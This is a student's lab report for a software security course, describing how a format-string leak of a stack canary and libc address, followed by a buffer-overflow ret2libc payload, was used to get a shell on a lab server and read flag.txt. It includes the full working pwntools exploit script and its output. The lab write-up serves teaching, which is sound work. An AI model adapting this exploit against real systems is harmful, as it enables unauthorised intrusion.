

Lab 4 Report by Alex Cooper

This is a lab report written by Alex Cooper for the final lab assignment of CSC472, Software Security. This report will detail through text, screenshots, and code snippets how I crafted an exploit to successfully infiltrate a remote server and read from a file, "flag.txt" on it. I will follow the recommended workflow detailed in the lab and answer each point and section required by the instructions.

Part 1: Vulnerability Analysis

The binary named "final" had a number of vulnerabilities in it. By reading the provided source code from final.c these vulnerabilities were clearly revealed. The immediate vulnerability that is incredibly important and was obvious due to prior course work, was an overflowable buffer. The general setup of the final.c files was a main function that would call an infinite loop of a function named loop. This loop function would call get() which is generally an unsafe method of taking in input. The function also had a buffer of 100 bytes for storing an input with no other size checks meaning we could provide a long input to overflow. This would be a little more complicated a process than other labs due to the presence of a stack canary, but this fact is not evident from the source code alone.

The canary is revealed when you either attempt to overflow the buffer using the cyclic method from past labs which will yield the message "stack smashing detected" and crash the program or through a disassembly of the code in gdb. The random canary is not a vulnerability in the traditional sense but it itself is vulnerable

Loop also had another major vulnerability and that was in the way it was handling the printing of strings. Rather than the best practice method of "%s" the code used the variable name "str". Because of this, it was susceptible to the format string bug which would allow us to find addresses.

The final vulnerability in loop is the fact that it gives a user consistent control of inputs. Since it loops through itself, a malicious user is able to provide multiple payloads because the user continues to be prompted for input over and over.

Part 2: Exploitation Strategy

The lab had a number of unique protections that we had to work around coming from the environment, the server, and the binary itself. The final attack was a multi-stage attack using a canary bypass, string format exploit, ROP/ret2libc, and GOT leakage to capture the flag

First, because NX was enabled we were unable to just arbitrarily execute commands on the stack itself, this means we had to utilize return oriented programming (ROP) to get us into situations where we were able to have the actual binary executing the code.

The environment also had ASLR meaning the actual addresses of the binary would change each time the program was run. This meant we had to find methods that would constantly find the required addresses and use built in logic to determine usable values.

The lab setup also utilized a stack canary. This is a special protection that essentially tries to verify that the stack is not being overflowed. The canary sits directly next to the buffer so an overflow will spill into the canary spot, a comparison occurs and if the canary has been changed then the function will crash. To work around this we needed to leak the canary, and

craft a payload with a buffer that only filled the buffer to the max, then we place the canary in the payload so the comparison will pass.

Within the server itself, the command line editor "ed" was not installed. This means when we made a system call even though we had a static and viable ed string we could not use it. To avoid this we used /bin/sh string because this is available on all systems.

The binary had a unique element that acted as a guard, this was the fact that the function did not follow the traditional convention of printing a new line at the end of its outputs. Most standard methods for receiving information through pwntools revolves around `recvuntil(b"\n")` which indicates that the file is done printing, at least for that line. When `recv` in this case since it would print to the same line we had to more carefully plan what we would receive as being even a byte off would ruin the payload.

Finally, the binary did not have a system call that we could use off the bat. Instead we had to spend time first leaking an address, then doing some calculations to find this system call. The binary was also free of pop pop pop ret style gadgets that we had seen and used in the past, meaning we had to be a little more creative and careful with how we crafted the exploit and what we would use to leak an address.

Part 3: Working Exploit

Below will be a full pasting of the [attack.py](#) script used to carry out the exploit. I will submit the file in the d2l submission box as well. I will also paste a screenshot of the leaked addresses and successful exploit up until the commands in the final shell. The final shell commands will be found in part 4.

[Attack.py](#):

...

```
from pwn import *
import sys
```

```
exe = "./final"
libc = ELF('./libc.so.6')
```

```
elf = context.binary = ELF(exe, checksec=True)
context.log_level = "info"
```

```
#io = process("./final")
io = remote("172.18.0.6", 9999)
```

```
# Send format string to leak canary
io.sendline(b"%29$p")
```

```
# Read the actual leak
leak = io.recv(16).strip()
log.debug(f"Leak raw: {leak}")
```

```

# Convert hex → int
canary = int(leak, 16)

success(f"Canary = 0x{canary:x}")

payload = p32(0x0804c020) + b"%4$s\n"

io.sendline(payload)

# Now read the leaked address:
io.recv(4)
leak_data = io.recv(4)
snprintf_libc = u32(leak_data)
log.info("snprintf@libc: 0x%x", snprintf_libc)

libc.address = snprintf_libc - libc.symbols["snprintf"]
info(f"The libc base is: {hex(libc.address)}")

system_call = libc.symbols["system"]
info(f"System call is at: {hex(system_call)}")

sh = next(libc.search(b"/bin/sh\x00"))
log.info("/bin/sh" string is at: 0x%x', sh)

payload2 = b"A"*100
payload2 += p32(canary)
payload2 += b"B"*12
payload2 += p32(system_call)
payload2 += p32(elf.symbols.loop)
payload2 += p32(sh)

io.sendline(payload2)
io.interactive()
...

```

Description of code:

The code starts off with some standard imports, one for the system and the other for the pwntools library. We then do a few lines just establishing our binaries for the process, and for the libc as well as what type of logs we want throughout the process. When crafting I had that set to “debug” but for the submission I chose “info” for a more polished feel and more concise screenshots. We then initialize the remote connection with “io = remote(“172.18.0.6” , 9999)”, the local testing start-up is commented out. Once connected we then send a line which is “io.sendline(b"%29\$p")” and this exploits the format string. We then receive the output, convert it, and then print it, if in debug mode it will print twice. At that point we have the canary and can

bypass it when we do the overflow later. We knew %29 was the right location using gdb in the planning stage of the attack. Now we are going to need some address to carry out commands, in this case we will use a ret2libc attack to get a system call. An inspection of the source shows no system call so we must leak it. We craft a payload with the static address of snprintf, and some bytes that will force the return of its dynamic address. We will then receive, process, and print it. From here we can calculate the libc base, and using the system offset we can then find the location of a usable system call. We now must inject some way to get a shell from the system call. In the past we used an "ed" string however, running the exploit with this did not yield results since ed was not available on the server. Instead we can search through the running version of the binary to find a string that is "/bin/sh" with a terminator since through the failed "ed" run we know bash is available. At this point we can craft the second payload. We start by maxing the buffer, b"A"*100 this means the next data added will cause an overflow. To beat the stack canary we then add to the payload the canary we found. From here we put an additional 12 bytes of padding. Now we will make the system call using the address we calculated for it, followed by a return to loop so we can get control of inputs, completed by the argument we want for our system call which is the /bin/sh string. We then send that payload to get our shell and enter interactive mode to put commands in the newly spawned shell, allowing us to capture the flag. The printing of the addresses is not required but is helpful during the crafting.

Screenshot of successful exploitation:

```
student@11afac11d3d8:~$ python3 attack.py
[*] '/home/student/libc.so.6'
  Arch:      i386-32-little
  RELRO:     Partial RELRO
  Stack:     Canary found
  NX:        NX enabled
  PIE:       PIE enabled
[*] '/home/student/final'
  Arch:      i386-32-little
  RELRO:     Partial RELRO
  Stack:     Canary found
  NX:        NX enabled
  PIE:       No PIE (0x8048000)
  Stripped:  No
[x] Opening connection to 172.18.0.6 on port 9999
[x] Opening connection to 172.18.0.6 on port 9999: Trying 172.18.0.6
[+] Opening connection to 172.18.0.6 on port 9999: Done
[+] Canary = 0xdb52f100
[*] snprintf@libc: 0xf7d2f490
[*] The libc base is: 0xf7cd5000
[*] System call is at: 0xf7d21920
[*] "/bin/sh" string is at: 0xf7e8afaa
```

Part 4: Flag

Below will be a screenshot of the contents of flag.txt from the remote server, as a big pokemon fan this was a very exciting flag to see.

```
[*] Canary = 0x6c01c400
[*] snprintf@libc: 0xf7d57490
[*] The libc base is: 0xf7cf0000
[*] System call is at: 0xf7d49920
[*] "/bin/sh" string is at: 0xf7eb2faa
[*] Switching to interactive mode
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
core
final
flag.txt
start_service.sh
cat flag.txt
flag{
#

Congratulations! You passed this class!! }
```

Part 5: Lessons Learned

This lab was a very difficult and educational experience. In total it took me about three consistent days of work to complete. Each breakthrough made also presented a new challenge of where to go next since I exploited the lab using the multi-stage methodology.

I was able to overcome the challenges in the lab by spending a lot of time with it. By doing this I was able to try different techniques and recognize the patterns occurring from my changes. I also spent a lot of time using the lecture materials, reviewing the previous labs, and using external resources to get a better understanding of what I was able to do. I reviewed the course materials from ROP, multi-stage, and the stack canary specifically to work through. As far as previous labs, they had some of the commands listed and even though the canary and gadget options made the challenge unique, past labs showed the proper syntax such as “payload += p32(addr)” which was needed. Finally, externally I found a very useful youtube video that did a return to win with the canary, this was a different ending result but, showed how the canary could be found using gdb and he even used Ghidra to explain how the canary works and how to place it with the buffer. The link to this video is <https://www.youtube.com/watch?v=TOImpHQvmpo>. I attempted to use generative AI to bounce ideas off of, but being such a specific case in the lab it was ultimately no help. Generative AI has a very strong opinion and will insist that certain aspects are incorrect even if they are not.

As far as things to do differently, I would spend more time doing initial searches through the code. I initially thought it would be the same as lab 4 but I was quickly humbled away from that thinking. The tools were not available and I found myself spending too much time trying to replicate lab 4 rather than accepting it was a unique assignment and while the overall idea of a multi-stage attack could carry over, it would require different steps and the lab ultimately revolved around the canary. I would also start with exploiting right on the server to start. I began with making an exploit that ran on the local version of ./final, however, when I went to exploit the server it was revealed certain luxuries were not available which meant I had to do more reworking than past labs to get an exploit that fit the server specifically. Finally, I would actually spend less time grinding it. When doing long coding sessions I found myself getting tunnel vision which not only led me to making poor design choices in early runs but also led to

increasing frustrations. When I took time away from the lab I was able to think more clearly and even came up with some new ideas that led me closer to success than mindlessly hacking away trying to create a bug that just was not available.